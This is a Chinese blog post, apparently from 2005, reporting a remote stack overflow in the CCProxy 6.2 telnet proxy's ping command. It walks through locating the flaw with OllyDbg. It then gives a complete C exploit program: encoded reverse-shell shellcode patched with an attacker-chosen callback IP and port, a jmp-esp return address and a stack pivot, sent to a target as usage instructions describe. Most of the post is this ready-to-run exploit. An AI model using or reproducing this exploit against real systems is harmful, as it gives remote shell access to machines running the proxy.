天天看點

漏洞大戶ccproxy又暴遠端溢出漏洞

漏洞大戶ccproxy又暴遠端溢出漏洞

作者:wolfboy[彭峙釀e.s.t]

ccproxy 是一款國生産使用友善界面整潔的代理軟體,他支援HTTP,FTP,SOCKS4/5,TELNET,HTTPS.....等代理協定,是一款不可多得的好軟體,一般網管用代理軟體的時候他是首選,國内ccproxy運用的十分廣泛。

這不,我們學校的校園網也用上他了,我們電腦老師也是個比較注意網絡安全的人,他裝的時候專門叫我測試下ccproxy的安全性,現在我手上的版本是ccproxy 6.2,記得ccproxy 6.0的時候被牛人isno發現過一個http代理的遠端緩沖區漏洞,現在作者應該也注意了一下安全了吧```不管那麼多,裝一個來測試測試。

打開ccproxy 6.2,使用預設的配置,開了HTTP,FTP,HTTPS,TELNET,新聞等代理。很快我發現在我測試telnet的 ping 指令的時候ccproxy 6.2挂掉了,汗```不會還有遠端緩沖區漏洞吧。用OllyDbg加載ccproxy 6.2,F9運作然後在指令提示符号下面輸入指令telnet127.0.0.1,傳回進入

CCProxy Telnet>CCProxy Telnet Service Ready.

CCProxy Telnet>

輸入ping 2000個a

這個時候OllyDbg“提示不知道如何繼續進行,記憶體61616161是不易讀取的,請試圖修改EIP,或者通過例外執行程式”很明顯,61就是a 的ascii值,我們輸入的a覆寫了傳回位址了,現證明了漏洞的确存在,我們現在要确定的是溢出發生在哪裡?重新用OllyDbg運作ccproxy 6.2一次,下斷點bp strcpy ,strcat,sprintf,然後用方才的方法溢出一次,提示記憶體61616161是不易讀取,并沒有斷下來,說明溢出不發生在strcpy ,strcat,sprintf,這些函數裡面。 記得isno以前說過ccproxy 6.2,使用自己的函數實作sprintf的,沒有調用msvcrt.dll裡面的函數,想了一下, 下斷點bp WSASend,因為ccproxy 6.2是用WSASend來發送消息給用戶端的F9運作,telnet 127.0.0.1,這個時候OllyDbg在004124f2斷了下來,F9讓他執行下去.然後我們再cmd輸入ping2000個a;OllyDbg又一次斷在004124f2,F8單步跟蹤,遇到 call不跟入一步一步下去,當到0041735c CALL 00426B20這裡的時候,再跟下去就提示記憶體61616161是不易讀取了,這樣我們不到5分鐘時間就找到了溢出的call很顯然溢出發生在這個call裡面。取消WSASend的斷點,然後再下斷點bp 0041735c,然後重新來一次。程式會斷在0041735c CALL 00426B20 處,我們用F7單步跟入然後在CALL 00426B20很明顯這裡是溢出發生的地方,裡面調用了作者自己寫的sprintf函數,這裡沒有對使用者的輸入

進行檢查,導緻了溢出。我天生愚昧,不會寫shellcode,就拿isno以前寫針對HTTP代理的稍微改一下,思路如下:

+------------------------------------------------------------------------------+

| |inc edx...inc edx|shellcode|0x7ffa54cd| | 

+------------------------------------------------------------------------------+

ping +0x42 +shellcode +0x7ffa54cd=1016+ mov ecx,0x29911111

shr ecx,0x14 

sub esp,ecx

jmp esp

這樣一來,傳回位址變成0x7ffa54cd,0x7ffa54cd在2000下指向jmp esp,然後就回執行

mov ecx,0x29911111

shr ecx,0x14 

sub esp,ecx

jmp esp

着幾句代碼,意思是把esp-299,然後再跳過去執行,這個時候酒會到我們的0x42也就是inc edx,他沒有任何意思,相當與nop。最後shellcode 運作,詳細代碼如下:

#include <stdio.h>#include <windows.h>#include <winsock.h>#pragma comment(lib, "ws2_32")unsigned char shellcode[] ="xebx0ex5bx4bx33xc9xb1xfex80x34x0bxeexe2xfaxebx05""xe8xedxffxffxff""x07x36xeexeexeexb1x8ax4fxdexeexeexeex65xaexe2x65""x9exf2x43x65x86xe6x65x19x84xeaxb7x06x96xeexeexee""x0cx17x86xddxdcxeexeex86x99x9dxdcxb1xbax11xf8x7b""x84xedxb7x06x8exeexeexeex0cx17xbfxbfxbfxbfx84xef""x84xecx11xb8xfex7dx86x91xeexeexefx86xecxeexeexdb""x65x02x84xfexbbxbdx11xb8xfax6bx2ex9bxd6x65x12x84""xfcxb7x45x0cx13x88x29xaaxcaxd2xefxefx7dx45x45x45""x65x12x86x8dx83x8axeex65x02xbex63xa9xfexb9xbexbf""xbfxbfx84xefxbfxbfxbbxbfx11xb8xeax84x11x11xd9x11""xb8xe2x11xb8xf6x11xb8xe6xbfxb8x65x9bxd2x65x9axc0""x96xedx1bxb8x65x98xcexedx1bxddx27xa7xafx43xedx2b""xddx35xe1x50xfexd4x38x9axe6x2fx25xe3xedx34xaex05""x1fxd5xf1x9bx09xb0x65xb0xcaxedx33x88x65xe2xa5x65""xb0xf2xedx33x65xeax65xedx2bx45xb0xb7x2dx06xcdx11""x11x11x60xa0xe0x02x9cx10x5dxf8x01x20x0ex8ex43x37""xebx20x37xe7x1bx43x02x17x44x8ex09x97x28x97";/*+------------------------------------------------------------------------------+| |inc edx...inc edx|shellcode|0x7ffa54cd| | |+------------------------------------------------------------------------------+ping +0x42 +shellcode +0x7ffa54cd=1016:mov ecx,0x12811111shr ecx,0x14 //ecx=128sub esp,ecxjmp esp1.2. ecx inc edx*/void start(void){printf("CCProxy 6.2 telnet Stack Overflow Exploit!\n");printf("written by Ruder 10/3/2005\n");printf("Bug found by wolfboy at 9/3/2005\n");printf("QQ:100105201\n");printf("E-mail:[email protected]\n");printf("usage:target port backIP backPort\n");printf("CCProxy 6.2 telnet 代理最新遠端溢出漏洞利用程式\n");printf("作者:wolfboy[彭峙釀e.s.t]\n");printf("漏洞發現者:wolfboy[彭峙釀e.s.t]\n");printf("漏洞發現時間2005年3月9日\n");printf("使用方法: 目标 端口 傳回shell的IP 監聽端口\n");printf("這個漏洞送給我最愛的人:wtf,saji, 半條命,包子,小刀,jiurl\n");printf(" 冰封血情,dabubaobao, 當然還有我的MM,感謝你們對我的支援,愛死你們了!\n");}int main(int argc, char *argv[]){WSADATA wsd;SOCKET sClient;int ret, i,tmp;struct sockaddr_in server,local;struct hostent *host = NULL;int IPLen;int a;char buff[4096] = {0};char *IPStr;u_short tmp1;char *PORTStr;start();if(argc != 5){printf("usage: %s target port backIP backPortn", argv[0]);printf("使用方法: 目标 端口 傳回shell的IP 監聽端口\n");exit(1);}if (WSAStartup(MAKEWORD(2,2), &wsd) != 0){printf("Failed to load Winsock library!n");return 1;}sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);if (sClient == INVALID_SOCKET){printf("socket() failed: %dn", WSAGetLastError());return 1;}// shellcode ,tmp=inet_addr(argv[3]);a=(DWORD)&tmp; //IPStr=(char*)a;shellcode[92]=IPStr[0]^0xee; shellcode[93]=IPStr[1]^0xee;shellcode[94]=IPStr[2]^0xee;shellcode[95]=IPStr[3]^0xee;tmp1=htons((u_short)atoi(argv[4]));a=(DWORD)&tmp1;PORTStr=(char*)a;shellcode[99]=PORTStr[0]^0xee; shellcode[100]=PORTStr[1]^0xee;server.sin_family = AF_INET;server.sin_port = htons((u_short)atoi(argv[2]));server.sin_addr.s_addr = inet_addr(argv[1]);if (server.sin_addr.s_addr == INADDR_NONE){host = gethostbyname(argv[1]);if (host == NULL){printf("Unable to resolve server: %sn", argv[1]);return 1;}CopyMemory(&server.sin_addr, host->h_addr_list[0], host->h_length);}//if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR){printf("connect() failed: %dn", WSAGetLastError());return 1;}//a=sizeof(sockaddr_in);// IPif (getsockname(sClient,(struct sockaddr *)&local,&a)==SOCKET_ERROR){printf("getsockname() failed: %dn", WSAGetLastError());return 1;}IPLen=strlen(inet_ntoa(local.sin_addr));//ping buff[0]=0x70;buff[1]=0x69;buff[2]=0x6e;buff[3]=0x67;buff[4]=0x20;// INC EDX// 0x42tmp=1016-sizeof(shellcode)-5+1;for(i=5;i<tmp+5;i++){buff[i]=0x42;}CopyMemory(&buff[i],shellcode,sizeof(shellcode));i=i+sizeof(shellcode)-1;buff[i]=0xCD;buff[i+1]=0x54;buff[i+2]=0xFA;buff[i+3]=0x7F;i=i+4;//buff[i++]=0xB9;buff[i++]=0x11;buff[i++]=0x11;buff[i++]=0x81;buff[i++]=0x12;buff[i++]=0xC1;buff[i++]=0xE9;buff[i++]=0x14;buff[i++]=0x2B;buff[i++]=0xE1;buff[i++]=0xFF;buff[i++]=0xE4;ret=send(sClient,buff,i,0);printf("發送成功,祝你好運\n");closesocket(sClient);WSACleanup();return 0;}